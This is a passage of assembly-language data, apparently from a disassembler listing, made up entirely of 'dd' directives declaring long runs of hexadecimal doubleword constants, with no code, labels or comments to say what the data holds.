0F24EFA67h, 1821C9Bh, 3212670Dh dd 6F3591A9h, 5D3A17FCh, 0EF704079h, 0B8194C1Ch, 9E28BC15h dd 0D2FBB731h, 1398DED5h, 49D8D86Fh, 3CE1571h, 2E90A6DFh dd 8620C89Fh, 75BE8CBDh, 68B4BE27h, 46ED0F71h, 794D6DC8h dd 75F92081h, 0D273ECDBh, 120EC88Dh, 0C4D954A8h, 71D90B0Ch dd 0EFD02E32h, 314103F9h, 927A9CBh, 518B563h, 4D0A5A6Fh dd 73B0C63Eh, 0B4397574h, 0D9E6E6EEh, 662A6328h, 942E7747h dd 3EBEB55h, 20F8C232h, 9915F01Fh, 0A4FF6F6Ch, 0C6A0F75Eh dd 2F7786D6h, 5F9F8502h, 15F57FF1h, 70993CBh, 7D30F91Eh dd 20C7774Dh, 228EB528h, 0EC2F4476h, 35E33210h, 2FB9F00Ch dd 8E7AB348h, 92A8D742h, 0E49583D3h, 0B6FA9666h, 19C583ACh dd 0E76CF1CBh, 0E3CAC685h, 0A8E62479h, 967D2821h, 0B16D47ADh dd 0C851375Bh, 96782554h, 0B5CF4679h, 0F6AE6CA7h, 366F3DF7h dd 83972A8Bh, 0DC54B99Eh, 0ABB743BDh, 0EF4AD6BFh, 0EE951525h dd 757DB355h, 58A86C39h, 6343E4DCh, 0D30BEE1Ch, 4DE77C51h dd 0A04B3673h, 612540AEh, 822310A0h, 5B46769h, 89D4F67Ch dd 0A15C3121h, 0D4E75F93h, 8181C197h, 0B0F795DFh, 85913E96h dd 0C3039681h, 0C4CC9BA0h, 7C6D3C32h, 5BB31930h, 9DB4B6B6h dd 3440A69Fh, 726EFD25h, 0DF568A39h, 70660C76h, 39FA4993h dd 31A938FEh, 576AFA0Dh, 28462769h, 0DA38BB9Fh, 79B00CF9h dd 38C84DB9h, 0AAD23F40h, 774775CFh, 6AAF417Eh, 66DBFEC7h dd 0F857457Fh, 0A00792ADh, 4B5806B2h, 0D23C4411h, 3D5F9DDh dd 7D984AEDh, 8994F031h, 0B4D482BDh, 64ACCEE1h, 0E2FDFDF7h dd 36CA5D06h, 0A3675CE0h, 0F3D1CD2Ah, 289FEE7h, 683BE4F9h dd 0B1516F94h, 0E529D4C1h, 0BEA78DCDh, 7BF16CCCh, 36E74255h dd 0F6258D8Ch, 0D6D6B510h, 0C5EE2148h, 1B25973Fh, 0E2130CD6h dd 0A075C74h, 63A8E738h, 0F1B338E9h, 0DCE67192h, 4EE3E9A2h dd 64135543h, 7AA596FBh, 0FDEDC2EAh, 6D534B27h, 6234C544h dd 5753E4Bh, 5D25D60Bh, 0A28A3926h, 78D58879h, 0D5790986h dd 0AC9C1514h, 0B1AE1F2h, 63A79A32h, 1A6C67C2h, 0C6B586BDh dd 82853BCAh, 6D5D91Ah, 5C65279Ch, 0B424E4EBh, 107AFCFFh dd 83D115CBh, 0F5CAAF2Fh, 6D597566h, 0F52400BDh, 463C8989h dd 0ACC0EDC9h, 3C35B8D8h, 9E283B81h, 0E8D52849h, 6292B8BFh dd 0E340BD7Ch, 0DDB0078h, 5B198B53h, 0EEF185B4h, 7480CE4Eh dd 6152ADCBh, 5B3735C8h, 0D4820A7Fh, 0E756437Fh, 0B41B10A4h dd 34362E07h, 872B740Ah, 0DEEB5FA5h, 819E7ED2h, 0CCE0C1E5h dd 0B86C4767h, 0DCF792C5h, 42A546E6h, 0E7717B93h, 54E553E0h dd 9E6246B7h, 1A47BE9Bh, 1F7A860Bh, 0CA00F63Bh, 103D6C17h dd 938868Fh, 6DAD0A69h, 69FC5B51h, 51C823A7h, 42F43455h dd 0E09CEA4Fh, 7A5CAB54h, 0B3A60B85h, 0FBB75DBDh, 67C3815Ch dd 0B32C52D6h, 65BBCADh, 27FEAFDBh, 22100CD5h, 11BA0BF5h dd 0CA1B3F7Eh, 5C6F1A55h, 5E96D077h, 9A810739h, 8B7ECEFBh dd 0D7B4DDA2h, 924A1FC1h, 467EB9F2h, 3A9AAB5Ch, 0E6F972F5h dd 0FEDBF3ABh, 91D92654h, 822E422Fh, 0FC986E56h, 0E8659B1Dh dd 8306E223h, 83E816D8h, 913AE9Fh, 8D96C45Eh, 0D0D4996Ch dd 39571AEh, 704F9F6h, 2ABB6B9Ah, 0F4044345h, 0A5D1464Dh dd 91882A5Eh, 0A622A0D8h, 0ED89EDA5h, 0AF9112C4h, 1380E674h dd 8D176532h, 8CB95BA5h, 7F4B7748h, 0E493FF99h, 4B4AADCEh dd 18511B7Bh, 0B53E2424h, 6DFAB9E1h, 0B0F63A6Ch, 0C44C634Eh dd 0A2DD5E43h, 30BC88DEh, 6D0F209Bh, 4BFE4DEFh, 0F324206Ch dd 453D8F97h, 19A48CFAh, 229081FCh, 1C8ADE6h, 0E4CDB15Eh dd 0D5CB45C8h, 3EEDF963h, 5554805Dh, 3112575Dh, 37B0C051h dd 4E221AE5h, 0CFF715Bh, 0A66264FBh, 787186F2h, 2EB0CBEDh dd 7159DDEEh, 0C93340BCh, 76D7F263h, 8D6B8DC4h, 9E1C517Bh dd 556D0C57h, 7603AAE1h, 72EC4853h, 0E90F0DD2h, 0EB3C36B6h dd 0F446BD8Ch, 3EC9BE01h, 5C969389h, 69EEA98Bh, 0E0781149h dd 0E3784C2Ch, 70FBABE6h, 9B883F38h, 91E3F562h, 6D936D07h dd 0D61FF610h, 55854874h, 5D05A9h, 62B314C5h, 0EBCDD650h dd 142D4182h, 0B074DE78h, 3C14D295h, 50322A39h, 309CA6E1h dd 772BD2A9h, 5080341Dh, 76082768h, 1362C5A9h, 79246C9h dd 5524947Bh, 9D1E4F8h, 0F073A858h, 0FBFF2973h, 5F1BBE9Eh dd 0F6DBB625h, 0D7B57D6Ah, 6C36369Bh, 1127936Ah, 99639B2Ah dd 0C0AF72F7h, 9FD22FB4h, 8E679DEAh, 0E63E03CAh, 12BDD198h dd 796B36E0h, 8A2A6D9Eh, 2C69DC40h, 0C5CC979Eh, 424726EFh dd 268E41E8h, 0DF98A8A1h, 97C94936h, 558955EDh, 0E2A75065h dd 0F2443A59h, 0EF900F38h, 20D59F12h, 1DA8F020h, 0EE7A6B63h dd 0D119EFAAh, 0D6B2101Ch, 0FE181743h, 0AD9F68BBh, 9C00D7EEh dd 30F82B87h, 3134984Ah, 18F82694h, 0E510D6EBh, 0E85B3978h dd 0A0462C6Fh, 3F2C52EAh, 8D08A66Ch, 22A2AF37h, 0B548108Dh dd 0A9AB01FBh, 688DCB48h, 83BB5407h, 0C62B2E03h, 2928E9Ch dd 0AAAB2859h, 0D17AC50Ah, 531CADFCh, 555B275Ch, 90DC45F8h dd 0D6E67EBFh, 0F9D57B65h, 0FC47488h, 0AD722434h, 347811C5h dd 0F963D05Fh, 226020FEh, 2380DA24h, 7905440Fh, 4805627Ah dd 0F2B38F9Ch, 1F4CA956h, 7C56EDEFh, 0C6EF890Fh, 0E9BEF2DBh dd 4AF7FC57h, 51046621h, 0C350C2EEh, 4B0E5BEFh, 0CB390BDAh dd 37E4B01Fh, 0D81B6DFCh, 133E1728h, 7F880037h, 0EB1F0C74h dd 78560180h, 93EC2673h, 8ACE2036h, 2204E017h, 0BCB9AE14h dd 0FA932690h, 2A2C4ED6h, 0FD135750h, 0C0CE4816h, 60396458h dd 0A5D6CBF8h, 0C5F270F0h, 21E35943h, 0C4FECCB5h, 0C00E63DFh dd 0BCCA58E1h, 0C6362D7Bh, 0DF1826B4h, 0E85DE89Ah, 6054F850h dd 4C3749F1h, 98BECDCDh, 0CB783FEh, 4D9D80EFh, 31FE853h dd 5C30E3E8h, 7EE70118h, 0DC735F2Ch, 214FB695h, 0A79A5863h dd 86F2897Ah, 0BC9C39C1h, 0C70CC79Dh, 5D153456h, 654AB781h dd 9B0D5735h, 39F64BFFh, 50CB2951h, 15A6551Dh, 4F3E23Bh dd 796CAFF7h, 0C498BF39h, 0AC7EEFBh, 6568CD04h, 122E9063h dd 285E13Ah, 0C090FC32h, 2DF6221Eh, 0BFCC3ABBh, 20F78C73h dd 515B3E8Ch, 0F3729F21h, 8B274605h, 0C50029EDh, 0F78F3297h dd 11C4C3ECh, 0FF4C7E76h, 3865F03Bh, 9F8CB672h, 322A7D8Ah dd 0B5031E98h, 5E8F95B8h, 0E861A530h, 9D3314D6h, 37141C1h dd 0EC53F079h, 23AD7551h, 193BEDBEh, 5C7FBF33h, 902C5C96h dd 0E074691Fh, 0A1A228CCh, 61A6F48Bh, 0AF6D7851h, 0C9E0D2C4h dd 935EBA5Ah, 61A56D08h, 85BDA2E2h, 0CBA25FBFh, 7B82AC92h dd 2A7B7006h, 32D8D05h, 24911A15h, 612BB5B2h, 6671137Bh dd 80C68AB0h, 1D06CE7Ch, 64AAACAEh, 0BCEB8BBAh, 4555D2C3h dd 5636BAA6h, 0D239D4A0h, 0D6474A49h, 0D784C364h, 2C91D779h dd 0E7D86703h, 0E9A51F17h, 0EF05835Bh, 0F5B57EA7h, 0C92C036Bh dd 0E878F460h, 36BDC7D4h, 18821EE8h, 0F53434B9h, 0ACB48C38h dd 8544D45Ah, 37170553h, 1E78D23Eh, 6902C5D9h, 6631080Fh dd 3190912Eh, 648EEB55h, 488CA7Eh, 1B47B859h, 0C4FB0045h dd 0F6506E5h, 0D33DB37Dh, 824A46FEh, 36DE99B0h, 0E051C836h dd 0CBDF410Ch, 72448B8Ch, 0D936FAD4h, 0CD518839h, 8A2B44CAh dd 0DEC6A36Ch, 8E33A21Ch dd 37A57068h, 0DF5D34C7h, 5E646D24h, 47AF73C2h, 2BA65F30h dd 9D79042Fh, 6D7671F3h, 7A2FEE1Fh, 69FF6A12h, 1169D0F4h dd 5B9ED199h, 5FFAD080h, 7F961085h, 8B41884Bh, 6538556Dh dd 2D018E03h, 0E098B9BAh, 85319488h, 74A4C43h, 5A89AFABh dd 543CE76Bh, 9B5A047h, 0D1FA00B5h, 0D7C54495h, 8E8D501Bh dd 0ED0BEE9Fh, 5BFC616Eh, 7C043E70h, 0F412D16Eh, 0AA13E709h dd 0E210EF34h, 0ABB75476h, 0A3DC117Ah, 0AEE20970h, 0BCECD335h dd 0AA223C98h, 0F78908A8h, 0F4112DDCh, 841524EBh, 0AFDA2BC2h dd 4A22B1B1h, 0C6187174h, 0B5D4A49Ah, 4269E3CCh, 27B06A6Dh dd 9A9BA8C6h, 37E4BC9Ch, 0A0A51DB0h, 0E99566Dh, 11E7C56Ch dd 0AD0FDC5Eh, 96654F38h, 248B2022h, 0FD42C836h, 0B65FCE8Ah dd 5E587160h, 861F1837h, 0EB67D14Ch, 0DDA0D7DBh, 0D3A9B1Ah dd 0D1D0F59h, 391A2CF6h, 0C91CF920h, 73AF9818h, 8CBC1876h dd 929E01DBh, 1A99826Fh, 0D2FAAC38h, 3B432D7h, 60E43466h dd 0F716B3ABh, 574C8B64h, 262CC09Bh, 202C22C7h, 8E17471Eh dd 0AF660E7Dh, 6AC5301Eh, 597E22D1h, 0A5FFA005h, 0D97E88C3h dd 8CBA2136h, 38F47268h, 0ADEA6239h, 942C1091h, 90DCB3D0h dd 968E96A1h, 563774C3h, 7710A041h, 354C36A6h, 0F7795F00h dd 1136F166h, 60473F09h, 2E0168BDh, 0E1AD3E7Fh, 0CDA683Ah dd 0C4FA57FBh, 1B3A2625h, 2A5E2D99h, 7D9A918h, 0DF425FFh dd 732A6AEFh, 47D3995Eh, 0BFD70E78h, 0A9E97F89h, 1DEF96A5h dd 73457E17h, 0E25C068h, 148830ECh, 36893BA1h, 406B3FBh dd 3E6912Ah, 69463037h, 47DE7944h, 634D6E70h, 0CC4F2E70h dd 3F1F9E34h, 3B785B0Bh, 711C6B1Dh, 581CD5D7h, 5E13E6F5h dd 0BA49044h, 0E318EBC3h, 1C7D07Ch, 5C7DB9BBh, 3F5D479Eh dd 6EC0A128h, 0D5327F2Ah, 64F21E66h, 94EBB5CBh, 21C2AB76h dd 0CB661266h, 0FBA41AEEh, 1E37E16Dh, 4945C857h, 5B5589F4h dd 0A1AFD3FAh, 0DD572995h, 0A620B4C8h, 6AC3FAA8h, 0A901D777h dd 15BD72C3h, 5649D122h, 7FF3B0CBh, 4B83669Ah, 0BE333A75h dd 0FCADB10Eh, 8E5E423Ch, 0C53AF3D0h, 24CF73D1h, 55D3BCDFh dd 0E9415E63h, 0F9D11D68h, 0B169B114h, 1DF5E57Eh, 6DCB7782h dd 986B8742h, 0A52B9197h, 0BB333536h, 0C863F295h, 4C0D9A69h dd 2B5B9FA0h, 0CFE80C17h, 0FC291C1h, 98B2837h, 22DEA591h dd 8A8B5E52h, 243ADBD4h, 5890E33Dh, 3D6B7374h, 98C71713h dd 113D5FE7h, 0AAAF1C5Eh, 4363842Bh, 9DA66BE3h, 77F91A28h dd 3AD21A68h, 9259D769h, 0B498C218h, 540BCE10h, 0B75B4328h dd 46F96DB1h, 0AE568916h, 0EC5FFF16h, 63238D49h, 9609DD0Fh dd 9B502D70h, 3F33BE35h, 6BF0F36Ch, 793251D4h, 0E84D3A76h dd 0DA2F1150h, 15686526h, 0BF041838h, 0F1679183h, 6EC4D9h dd 9CD95D1Ah, 39C4A98Eh, 94104B81h, 24E8DE87h, 9E97A4BDh dd 8E46B350h, 0FA04E10h, 46FFC6D5h, 0C09E690Ch, 319E0B6Fh dd 9E2898D5h, 22E5E0FDh, 77EC6BAh, 6DECABB9h, 0D560619Eh dd 39CBAC8Ah, 78C32828h, 4F586929h, 0C4DC7C3h, 0AADE215Dh dd 17337E93h, 0A5BE2DC2h, 0C6A09EC5h, 29158AC8h, 0FDAE3CEAh dd 6A5BD387h, 68C2CCF2h, 0B39A63C8h, 8AEF6BF8h, 0B25AA8D6h dd 70FE92B9h, 722AFEF6h, 56E5CF52h, 7E7DC89Bh, 5059E4BBh dd 0F3FE9E9Ch, 5A88CDC9h, 35B9EB7h, 3564D1B0h, 10C613Bh dd 0DA684A9Fh, 359AC6Bh, 78DCF571h, 0EEF6D6EDh, 5C13F616h dd 653FC8E6h, 0CD60A271h, 1A02841Dh, 72BBCC8Dh, 30BF8F42h dd 0BB588634h, 0D68A0662h, 0A2F713D3h, 0F3E3EC21h, 0DF068BE8h dd 80E9521Bh, 8DB2C17Ch, 0C5816397h, 7BDD16DDh, 0DAE4C86h dd 101C6350h, 5BCD4750h, 0D517B5CEh, 0A46EEF32h, 0BE295F5h dd 0C390C300h, 0B2513D5Dh, 57502555h, 57B38445h, 220C814Eh dd 14401671h, 6973F86Dh, 66AAF6C2h, 0CD2274E1h, 68EB1FABh dd 738EB500h, 334E73A9h, 892675D5h, 265A9EAFh, 6C86FF26h dd 0B9CB27B3h, 0F02349B3h, 0CFB50E28h, 0CBC8ECB3h, 220F6565h dd 0B961D722h, 338423FDh, 7BA7B2F3h, 0F86189Eh, 0ED711B58h dd 3B4A4BA3h, 6514744h, 0D3CA1245h, 85A0B725h, 2B4DEE3Ch dd 819A6C49h, 0A6A4855Eh, 28135C16h, 201A06B1h, 0FB165F94h dd 0CFBFE064h, 8ED2DB6Dh, 3A6C63C4h, 0BBABE38h, 0C4354A36h dd 9F4277A1h, 0A5B5351Ch, 4EDA5648h, 45D0B0C7h, 0F84FEDE8h dd 2D137604h, 40F607C0h, 538B993Bh, 0CF57BDD7h, 85FC81ECh dd 407221F3h, 4FB163C5h, 111C8D96h, 0D14C69BEh, 884B0425h dd 7006AD98h, 0FFC77AA6h, 43E11E7Dh, 39475BB0h, 0E444F9B4h dd 96940EC6h, 403B0B64h, 83DE9B92h, 41EF4317h, 148CE270h dd 61F8C24Bh, 0F64105AEh, 0DD63B762h, 0F63DE353h, 678E1EE3h dd 0C25EDAFAh, 7F4586A2h, 0EA634510h, 0F0DD79B3h, 0CEEB6680h dd 0F9DDA40Bh, 48163DC0h, 0C30D26C5h, 0ADB5B3BDh, 0AABA6D5Ah dd 6AD1276h, 91CE931Ch, 0D8DBCCCDh, 824CCC59h, 0E2E6C033h dd 8988A77Eh, 4B9ADCC8h, 9B813769h, 93506A7Dh, 9078186Ah dd 189CACC8h, 771FB0D4h, 0B9B9F5A9h, 0FFF23633h, 194364C5h dd 958167D4h, 0A349F611h, 0A13E94BCh, 69BB4484h, 29269581h dd 3775425Bh, 0C643E1ADh, 0FECEA971h, 0BBC11137h, 62CEBA6Fh dd 3D38A8DEh, 0F6F577B7h, 45ACEE85h, 98845232h, 0D7F13E43h dd 0FCE847F0h, 0D3C41ECEh, 63EFC34Fh, 72BA19B5h, 1D67781h dd 6EF92561h, 60E3E2EAh, 4628E659h, 328094E3h, 98C3F4ABh dd 0A6D3377h, 0F8D37DF1h, 0BA3D14B8h, 0E50477E6h, 76061CAAh dd 3EE34A63h, 1E3507DDh, 0CB2DE4F4h, 0DD47FD9Bh, 33FA175Ch dd 5F74104Ah, 0A376148h, 31A79425h, 0A71A9C85h, 2FE933E4h dd 0D45CCB11h, 0F611A092h, 7B264A8Bh, 1B918691h, 0C87B2B8Ch dd 832EAEE3h, 21095F72h, 0FFB5A9D5h, 404B04ECh, 0B065461Dh dd 0D7AB83E1h, 3D4DBC41h, 0E76B0C50h, 921EE3D0h, 47E8D571h dd 9AD7C7EFh, 0DC8E6880h, 0D69F69F7h, 4E502658h, 6695F406h dd 0F355EBA5h, 427EEE63h, 9A70D860h, 9C918A0Bh, 0A7120600h dd 0CBBD08F5h, 6E7759Ah, 0DEA1AAD4h, 0FEA20227h, 69D99688h dd 2B192A61h, 9B647000h, 84FD84B0h, 0D502EE1Bh, 7C118BEAh dd 0C3D8B1E8h, 4E0EAC9Dh, 3920018Dh, 0F593D801h, 35C29008h dd 224F9297h, 9E375832h, 0A9A96BC8h, 0F628F4F9h, 9C78B9DEh dd 1CDFE34Ah, 481BF06Fh, 1A3551D9h, 175367EBh, 0B7BC2B6Eh dd 6C831FBBh, 2FB81904h, 0CAC472BDh, 54A5BEC3h, 320ACE7Bh dd 0CE2A5F89h, 349F56F3h, 41867967h, 0B870C000h, 44E78117h dd 0CCCFB104h, 0F6ED2F2h, 0D7C88CF8h, 6D644FCh, 2B9B8012h dd 0B45B0830h, 16408A03h, 5ACCE226h, 0D8098F50h, 831DFE32h dd 19D3E2A3h, 0EC57A3F1h, 4F23FDC8h, 39C07043h, 92CB48Ah dd 0C39A96A9h, 3AA66500h, 51815E2Bh, 6A0F70E8h, 0CAE67CF6h dd 3F567158h, 0C4479EA7h, 0CF2D5852h, 3ACC3FDDh, 0DB96E975h dd 1CFE2DE9h, 628322A5h, 2EA43C1Dh, 86A97869h, 0D25B9C85h dd 3694C4F8h, 63CB64DEh, 3991559Eh, 24D112A9h, 5E458B88h dd 0BC266F31h, 75802194h, 3410C917h, 0C0E21348h, 0B6054EB1h dd 8D9626Ah, 5C9C3F1Ah, 7C7C2A16h, 0EA1A2CDCh, 0C2225580h dd 43FAA288h, 7E7D3A81h, 5EF920A3h, 43324D0Dh, 0B5D37BBCh dd 70599064h, 0F59A75BFh, 0A40F85D8h, 34D7E6CAh, 53A8A13Dh dd 29D32FAAh, 0B3D2F2FCh dd 6C6E4AD7h, 0D62AFF3Bh, 6F3FA8B8h, 5748888Dh, 3B8D2D4Bh dd 264FDB27h, 3B5D1DBCh, 21E8536Bh, 60133CFEh, 7456B5Eh dd 2B715931h, 347F4283h, 7C346184h, 9865243h, 0BABD5C5Bh dd 416E0F77h, 102D73E8h, 0F410F00h, 5CA3388Ch, 4B192ADBh dd 0A302BB5Fh, 0B9CA6ED0h, 0FA371059h, 652D5DD8h, 1484428Eh dd 7F5327F2h, 0ACB3C7AAh, 71318C0Fh, 6259EC92h, 1AD8E8E1h dd 0C7583E08h, 959D1198h, 99C48EEh, 4B78BD36h, 0BD64D6DFh dd 99AFCAC7h, 82675898h, 5AD91E4Eh, 0E5F05BBEh, 27557614h dd 56DFFADDh, 0CAEA8F08h, 1AA68D88h, 7D798C35h, 23F393A2h dd 5714736Ah, 1656F41Dh, 0E4372990h, 0AD642B5Dh, 0FFDC84D2h dd 52830752h, 0D6B3BD4Ah, 0F8762CDFh, 77C224A2h, 0F9622179h dd 43459241h, 0DE5E3BF3h, 0C9925712h, 2B44F31h, 0D5C678E8h dd 0B3011F34h, 7DDE5F49h, 0DD519A64h, 0EAE481D1h, 0CAB48545h dd 0AF667EEEh, 0F0007DE9h, 51B1110Ch, 0C989D483h, 0B9A2C822h dd 4B57D3FEh, 20F621CDh, 0DB022FC9h, 9DCBD89Bh, 3CE318D5h dd 752EF6D5h, 189D9031h, 62982EE1h, 303A8BF5h, 75C84ACDh dd 18085373h, 0CD48DE3Eh, 82D4D8A5h, 9B8635B1h, 0B7EC5BD5h dd 5EB47872h, 2EF77811h, 5DD91911h, 3F784C65h, 0E67FC46Dh dd 8D2B7614h, 0DB5DA56Dh, 42ACAF3Eh, 78678F5Ch, 1AFC25D1h dd 7DDE008Dh, 53360EA8h, 0B9AD96DBh, 98C78C3Ch, 4AE0FC52h dd 0DF435018h, 0E03EDD5h, 5597374Fh, 48BC6481h, 3BD7F286h dd 28D9BE4h, 0EE94AAF4h, 0A7768AB0h, 93FFCA09h, 615967BBh dd 789F90D8h, 74C48383h, 0F101D074h, 0BF9372B9h, 1832D730h dd 17D85B8Fh, 0DA417F3Eh, 8E3CD948h, 0CFAE5850h, 0F34FD4E0h dd 2C366360h, 8DC525EFh, 3618A91Ch, 0E9016B1Dh, 51DC3692h dd 84C64E79h, 21C33Eh, 0D0A9B13Ah, 0E7FC2FA5h, 29BB55D7h dd 0F4866F12h, 7FD4BA6Fh, 0D7DE3154h, 29E6BF4h, 8AC47C4h dd 0F944C434h, 7C2037E6h, 3D65F9CCh, 1C6FA8B3h, 0BACEF298h dd 4F608477h, 0B5283C19h, 43C876FAh, 34FF60FCh, 651757ACh dd 8351EF58h, 0D722E0B2h, 1C43B59Ch, 1D710DD7h, 4F27A9FFh dd 0EDACA818h, 0C2D5ABF2h, 0A0913670h, 393D6F8Dh, 50FF6C03h dd 409960AEh, 482BC90h, 98E6BBCDh, 0D3593A68h, 0EEC0604Eh dd 506C384Eh, 0F3873B2h, 783FC54Eh, 5FDA948Ch, 327E3C40h dd 8C4E083Ch, 34E94E5Bh, 0F300F306h, 399EE99h, 9178A207h dd 0F0FEBA96h, 0D2CB2A94h, 6F10B4E4h, 6BBB71BFh, 309271BCh dd 0F81209h, 0A3137A16h, 0A2EE137Fh, 91AB6F7h, 765B8C77h dd 0E5C0938Dh, 28D9BC22h, 8870F27Ch, 37AE8251h, 202C6841h dd 83CC9226h, 0DFD9AF61h, 3802147Fh, 41CFA133h, 44E7522Ch dd 0DFBC7242h, 1AE0351h, 815D0D10h, 5697A5EDh, 0B9B2914Dh dd 0D312E730h, 86C4A58Dh, 2CDFA60h, 29E391C9h, 1C36F632h dd 0B22C22E4h, 72D3AF1Eh, 0F51DABBEh, 0E5553705h, 0BE3289C5h dd 1FFBEBBAh, 287E411Bh, 0DADB01A7h, 9139FF40h, 48E3213Ch dd 0A2EE5427h, 673EAEA4h, 5400D5D8h, 8CD285Ah, 5B213C32h dd 0F3D14B8Bh, 0C8D2ABCFh, 78EBB13Eh, 7751FA52h, 0D32DC200h dd 31576E3Ah, 0FC8695CFh, 0EEE7269Dh, 23873343h, 0FC2F00D7h dd 771C7857h, 13B2EB41h, 0F33082C2h, 0F2739493h, 0C013B96Eh dd 387974BBh, 0B2F5A6D3h, 0DA2C7B85h, 1B481430h, 0E73B0376h dd 0F83E209Ah, 8BB8FE42h, 67A6A79Eh, 0B7908F72h, 67615C1Ah dd 0C28DF00Fh, 5983D715h, 426F784Ah, 0D96BDE10h, 48FF769Fh dd 36A7CBC2h, 55EDBA22h, 3C5FAB30h, 43C1523Ch, 363ADFC4h dd 0D2C22A2Dh, 6C5DF387h, 4A5CF640h, 0F5056328h, 9ACBD4DAh dd 8F373563h, 0E1560C9Ch, 0B5061364h, 5D29B81Dh, 76D08762h dd 0AD5D4684h, 440D4612h, 0B59C35DDh, 3955B00Eh, 3BE599A7h dd 0FEDAC0CBh, 0A930DBB3h, 13C26B8Eh, 2948112h, 9F537A09h dd 571E9358h, 316A941Bh, 12D39D4Ch, 0D332532Eh, 53D4C7E9h dd 8A0DEFBAh, 0F7140943h, 0B1B89D68h, 0FD06687Dh, 0B2EB07A5h dd 290AA540h, 1B073651h, 2649269Ch, 6E638293h, 26CB0463h dd 94E87386h, 0E87AC7DEh, 605FD1C0h, 0D9AD37D5h, 0E075EA35h dd 868BC0FDh, 89E91898h, 4144B121h, 4D886EBDh, 23B8A436h dd 0DCE5E799h, 219C1C11h, 283641D2h, 18E6FB43h, 6CF85CFEh dd 2A7DA3F9h, 1CF609F5h, 6D109296h, 5B56C488h, 66E0C329h dd 87D75E46h, 0DB5B77AEh, 99AC37A1h, 0F44DDE8Dh, 98F0AD8Ch dd 85A822E9h, 716DE3B0h, 2E260587h, 103F44BCh, 2A22CF32h dd 8DF96041h, 0FD879EF8h, 2A22DE2Dh, 798DE069h, 0A053AE7Ah dd 0BD66D649h, 0D52F1175h, 0D6DDFFFCh, 2AA7144Fh, 93D3DDE9h dd 132AFCAFh, 0D1F0FFDCh, 129EAC04h, 0B880AFCBh, 0A1C4023Fh dd 28144F8Eh, 5FEACCFAh, 0FF437C2Eh, 84420A4Fh, 6797D32Eh dd 3CBF3DDDh, 0B28E306Ch, 0F68CC13Ch, 6360F600h, 2C8A24ABh dd 0FAA1396Eh, 5F147F99h, 5C1A07EDh, 0E3C3D133h, 871A8D3Bh dd 79AA809Dh, 3D5CA722h, 0ABAED148h, 0CC90C5C4h, 31AB72AFh dd 0DDC9B28Eh, 25B18723h, 0FE77FAEEh, 75A787EAh, 670932DFh dd 0F285F3CEh, 2DE52CA3h, 0C93CBD54h, 0EF200AC6h, 0C954CF47h dd 5A2FCAC7h, 9115BBD6h, 68D664A8h, 8D51CEB5h, 52900351h dd 0C07170E7h, 55E6A208h, 738AC592h, 0C3292024h, 4D2C06E4h dd 64BABCAh, 8F3A8C44h, 16F9ED5Dh, 32C8A91Fh, 0F80CE8E0h dd 39B204BCh, 5C1F77FAh, 8F28C37Dh, 3DBC8B92h, 0A73C43B1h dd 0D1210DD0h, 247317C1h, 7C7584A8h, 0A5E79C47h, 3E28F17Bh dd 15B205FCh, 770E7438h, 7A805369h, 75E77F16h, 6F3D957Bh dd 5A209ED5h, 92D4194Eh, 0EE6E21C3h, 44F5CD78h, 3C65E6Fh dd 0F5D9D5A8h, 195401E0h, 0E2D3621Fh, 6457A2B4h, 6A525528h dd 0C694E019h, 0DF7A66F6h, 0EB549BC3h, 9BD77134h, 0FD3EA15Bh dd 42ED0B5Dh, 643DB9F3h, 7FAAAC85h, 0FD03A3BEh, 3CAE155Dh dd 0E5FA6082h, 92DDB439h, 0F5517714h, 4F1A514Dh, 0F2F19671h dd 242594A3h, 7F89F507h, 340283D8h, 4757B7A9h, 0E29C30E3h dd 0B1F14FD3h, 4D3A8D9Dh, 676512E2h, 7B213A1Dh, 0A3AE80CCh dd 0E2D51DE3h, 0C2F6B6DEh, 42412162h, 2D08F72Bh, 0F7359917h dd 7F40A130h, 2CDBD7E6h, 0EB90A0FAh, 30B42335h, 90E58B98h dd 0CE779C67h, 3B036441h, 5AFB6DE3h, 0E0228A15h, 0BDAF37BAh dd 9E04EF7Dh, 0EC2FB7BAh, 0AC7831B5h, 0EEFD9C8Eh, 6D01635Bh dd 6263231Ch, 0C56D9D01h, 72639336h, 446EF713h, 22930028h dd 5C9FF7A6h, 6478101Ah, 0F2435FFFh, 2DD385A7h, 789996EFh dd 83809D7Bh, 7791E3CDh, 80C0AE7Bh, 0D1E9EEEEh, 4AC48D94h dd 30CFA5C1h, 0F114302Fh, 7E710DBCh, 6F4381A4h, 0C50C8DDBh dd 0DE3E51D7h, 44F286B3h, 2E7E1B88h, 2B0727FFh, 52F94E14h dd 6C239A48h, 0F3AFBF40h, 0BF052B50h, 1DAFD180h, 747A02B8h dd 8A9D870Ch, 7F116F9Ah, 0E96B21FCh, 19E99C31h, 97A1938Eh dd 554FF75Fh, 2923800Ah, 50C737B7h, 0E9A4F012h, 3355AFFBh dd 0CC657DA9h, 68DC6AECh, 0BE2DF7Ah, 3B80C2CDh, 0AEC83EFBh dd 0E0EC26AEh, 5346E9B4h, 348E93D1h, 0F374AB27h, 7D61C638h dd 6FCB6362h, 0C4C87B3Ch, 5E1CA960h, 4C07D04h, 8E6699A7h dd 9B1BE6ECh, 0AFFAE9Dh, 0D8256A0Ch, 29AE476Eh, 0A4055743h dd 8B2FF389h, 3FBA13BCh, 0A83D8F8Ah, 4EA16BDDh, 70B327DBh dd 5C559F26h, 35F79019h dd 0E650F798h, 71B600EDh, 0E5007780h, 0B3815025h, 8864FFF4h dd 9AFDD5AAh, 3300BEEDh, 0BD44097Ah, 0E03629CDh, 0BA11C97Bh dd 0F5505C6Eh, 5890CA54h, 36318161h, 0F2A123DFh, 7CBE8294h dd 6E7EC558h, 0C49F2811h, 0DE0102EAh, 0C4D629C1h, 0EE61CF41h dd 8B1E4DDBh, 82FEF92Ah, 8425C0C3h, 8FAE908Dh, 1505BDF2h dd 0D0AF1871h, 0BFAE510h, 0BDDD7570h, 55B16870h, 0F63B2561h dd 9F919FCBh, 555590ABh, 0F7E1F7A1h, 0F86E80C1h, 393DB78Ah dd 55973020h, 997BCFF2h, 91784DADh, 0BF47F2EAh, 0E0A5AB7Dh dd 412678CAh, 0B99E1FCh, 0AD144829h, 0ECF2DC73h, 60208A76h dd 49A9A468h, 2A3B4053h, 0D5BCA6B7h, 923E18A2h, 65B19A13h dd 920EE5EDh, 0F5DC2D7Bh, 7EC83CD6h, 45CA97FBh, 757B50A6h dd 0FBEEDA46h, 16D0E092h, 2E958E70h, 0E6A6B920h, 7D8C4CE4h dd 0D966C922h, 758CB7D8h, 5CFF414Fh, 76C13A56h, 377FA3B1h dd 4577C2B3h, 